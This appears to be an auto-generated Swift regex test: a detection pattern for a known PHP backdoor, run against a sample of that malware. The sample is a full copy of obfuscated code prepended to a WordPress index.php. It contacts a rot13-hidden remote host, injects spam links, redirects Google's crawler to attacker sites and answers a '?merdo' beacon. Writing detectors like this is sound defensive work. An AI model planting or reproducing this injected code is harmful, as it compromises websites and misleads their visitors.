import Foundation
let pattern = #"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)"#
let regex = try! NSRegularExpression(pattern: pattern, options: [.caseInsensitive, .dotMatchesLineSeparators])
let testString = ##"""
<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\" title=\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
"""##
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression